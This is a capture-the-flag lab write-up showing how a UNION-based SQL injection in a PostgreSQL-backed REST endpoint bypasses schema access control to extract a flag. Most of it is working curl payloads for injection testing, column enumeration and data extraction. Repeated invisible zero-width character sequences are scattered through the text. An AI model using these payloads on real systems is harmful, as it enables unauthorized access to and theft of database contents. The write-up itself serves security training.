← Back to Writeups
CUSTOMMediumWeb

Lab 267 — RestForge — SQL Injection in Dynamic Data Endpoint

XESXOR9/10/20264 min read
#web#custom#medium#decoy_flag_identification#information_schema_enumeration#jwt_authentication#postgresql_type_casting#schema_access_control_bypass#union_based_sql_injection#linux

Lab 267 — RestForge — SQL Injection in Dynamic Data Endpoint

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: decoy_flag_identification, information_schema_enumeration, jwt_authentication, postgresql_type_casting, schema_access_control_bypass, union_based_sql_injection

Summary

Task: RestForge auto-generates REST endpoints from PostgreSQL; /api/data/:schema/:table has unsanitized table path parameter. Solution: UNION-based SQL injection with type casting to bypass application-level schema access control and extract flag from admin.internal_secrets table.

Lab 267 — RestForge — SQL Injection in Dynamic Data Endpoint — HackAdvisor

Description

RestForge is an API platform by ForgeStack Inc. that automatically generates REST endpoints from your PostgreSQL database. It provides a dashboard for managing API keys, browsing available endpoints via a schema explorer, and querying data through dynamic REST paths. The platform serves data from a PostgreSQL database and supports JWT-based authentication as well as API key access. Developers use it to quickly build APIs without writing backend code — simply point it at a database and it exposes tables as REST endpoints.

Your goal is to find and exploit a vulnerability in the API layer that allows you to access restricted data stored in a database schema that should not be accessible to regular users.

Credentials: user / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A REST API platform that auto-generates endpoints from PostgreSQL tables. The /api/data/:schema/:table endpoint interpolates the table path parameter directly into SQL without sanitization. An admin schema exists with restricted tables including internal_secrets, but access control is enforced at the application layer only. UNION-based SQL injection bypasses this restriction since the query executes with full database privileges.

Analysis

Application Overview

  • RestForge v2.4 running on nginx/1.25.5
  • Dashboard stats: 4 database tables in public schema, 25 records, 8 users, 12 API endpoints
  • JWT-based authentication (Authorization: Bearer <token>) and API key access (X-API-Key: rf_...) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

API Endpoints (from /docs)

EndpointMethodPurpose
/api/auth/loginPOSTAuthenticate, receive JWT
/api/schemasGETList available schemas
/api/tables/:schemaGETList tables in a schema
/api/data/:schema/:tableGETQuery data (supports ?limit and ?offset)
/api/keysPOSTCreate API keys

Schema Enumeration

  • GET /api/schemas → two schemas: public and admin
  • GET /api/tables/public → 5 tables: api_keys, categories, orders, products, users
  • GET /api/tables/admin → 3 tables: audit_log (50 rows), internal_secrets (1 row), system_config (10 rows)
  • Direct access blocked: GET /api/data/admin/internal_secrets → {"error":"Access denied","message":"Schema not accessible via API"} ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Vulnerability

The table path parameter in /api/data/:schema/:table is directly interpolated into the SQL query without parameterization. The underlying query is approximately:

sql
SELECT * FROM "public"."<TABLE_INPUT>" LIMIT 50 OFFSET 0

Access control for the admin schema is enforced at the application level (checking the schema parameter), but the SQL query itself runs with full database privileges — meaning a UNION injection can read from any schema.

Decoy Flag

HTML pages contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden HTML comments and invisible divs, designed to trick automated scanners and AI agents. This was NOT the real flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authenticate and Get JWT

bash
TARGET="https://87dc1ccb-139c-47b1-813d-9752c7c2a9fe.labs.hackadvisor.io"
TOKEN=$(curl -sk -X POST "$TARGET/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"user","password":"password123"}' | jq -r '.token')

Step 2: Confirm SQL Injection

bash
# Single quote triggers PostgreSQL error — confirms injection
curl -sk "$TARGET/api/data/public/users'" \
  -H "Authorization: Bearer $TOKEN"
# Response: {"error":"pq: unterminated quoted string at or near \"' LIMIT 50 OFFSET 0\""}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# SQL comment works — normal data returned
curl -sk "$TARGET/api/data/public/users--" \
  -H "Authorization: Bearer $TOKEN"

Step 3: Determine Column Count for UNION

The users table has 10 columns (id, username, email, password_hash, full_name, role, is_active, timezone, created_at, last_login). The first column (id) is integer, others are varchar/text/boolean/timestamp.

bash
# 10 NULLs match the column count
curl -sk "$TARGET/api/data/public/users%20UNION%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--" \
  -H "Authorization: Bearer $TOKEN"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Enumerate admin.internal_secrets Columns

bash
curl -sk "$TARGET/api/data/public/users%20WHERE%201=2%20UNION%20SELECT%201,column_name::varchar,data_type::varchar,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20information_schema.columns%20WHERE%20table_schema='admin'%20AND%20table_name='internal_secrets'--" \
  -H "Authorization: Bearer $TOKEN"

Discovered columns:

ColumnType
idinteger
key_namevarchar
valuetext
classificationvarchar
created_attimestamp
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Extract the Flag

bash
curl -sk "$TARGET/api/data/public/users%20WHERE%201=2%20UNION%20SELECT%20id,key_name::varchar,value::varchar,classification::varchar,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20admin.internal_secrets--" \
  -H "Authorization: Bearer $TOKEN"

Response:

json
{
  "count": 1,
  "data": [
    {
      "id": 1,
      "username": "platform_master_key",
      "email": "FLAG{REDACTED}",
      "password_hash": "TOP SECRET"
    }
  ]
}

The flag was stored in the value column of admin.internal_secrets with key_name = "platform_master_key" and classification = "TOP SECRET". The response field names (username, email, password_hash) are from the original users table column aliases — the UNION maps the injected columns positionally. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍